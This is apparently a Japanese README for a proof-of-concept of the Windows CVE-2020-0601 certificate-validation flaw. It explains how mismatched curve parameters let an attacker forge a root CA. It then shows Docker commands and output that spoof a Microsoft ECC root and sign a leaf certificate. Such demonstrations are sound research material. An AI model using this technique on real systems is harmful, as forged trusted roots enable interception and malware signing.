
Windows 10 の CVE-2020-0601 脆弱性を利用して、独自のルート CA と署名済み証明書を作成する楽しい概念実証です。この問題の根本は、CertGetCertificateChain() メソッドがルート証明機関を不適切に検証していたことにあります。トラストストア内の署名証明書を検索する処理はコストがかかるため、Microsoft はキャッシュを実装し、指定されたルート証明書の公開鍵を使ってその証明書が以前にトラストストアから読み込まれたかどうかを判断していました。しかし、楕円曲線証明書の場合、SubjectPublicKeyInfo には公開鍵だけでなく、使用する楕円曲線(またはカスタムの楕円曲線パラメータ)への参照も含まれています。この脆弱性は、楕円曲線パラメータがキャッシュルックアップに含まれていないために発生します。攻撃者は、既存の公開鍵を取得し、新しい秘密鍵を選択し、その組み合わせを有効にする曲線パラメータを計算し、Microsoft の以前の脆弱なキャッシュルックアップを通過するルート証明書を作成することができます。
このリポジトリは、「Microsoft EV ECC Root Certificate Authority 2017」の信頼されたルート証明書を偽装し、この新しいルート CA を使用してリーフ証明書に署名する方法を示しています。

docker build -t gringotts .
$ docker run --rm -it -v "$(pwd):/host" -w /host gringotts
Modified generator:
04bb3de13398a18e1c0d1a2d77ae8cbb9ea358d8c5c075eac51e0c408a0367db2ba187f1ab2febd8859d4c12811563fae6056fef803bff43964ca15c63a28cdc1fdfd38dab9fac20e7a8fa1fae619e576ee5706423414a3c3f8c7e1a2d8adc9cd7
Serializing root.txt and self-sign root certificate
Writing ca/root.pem
Serializing root private key
Writing ca/root-key.pem
read EC key
writing EC key
Generating a RSA private key
...............................................+++++
.........................................................................................+++++
writing new private key to 'ssl/server-key.pem'
-----
Using configuration from /usr/lib/ssl/openssl.cnf
Check that the request matches the signature
Signature ok
Certificate Details:
Serial Number:
7c:e6:11:18:1c:5a:14:3e:6f:f0:e2:85:ea:5f:c7:dc:50:a4:b9:b2
Validity
Not Before: Apr 30 00:00:00 2018 GMT
Not After : Aug 1 00:00:00 2020 GMT
Subject:
countryName = GB
stateOrProvinceName = Scotland
localityName = Highlands
organizationName = Gringotts
organizationalUnitName = Hogwarts Castle
commonName = hogwarts.lf.lc
X509v3 extensions:
X509v3 Subject Alternative Name:
DNS:hogwarts.lf.lc
Certificate is to be certified until Aug 1 00:00:00 2020 GMT (184 days)
Write out database with 1 new entries
Data Base Updated
$ tree
.
├── ca
│ ├── root-key.pem
│ └── root.pem
└── ssl
├── server-bundle.pem
├── server-key.pem
└── server.pem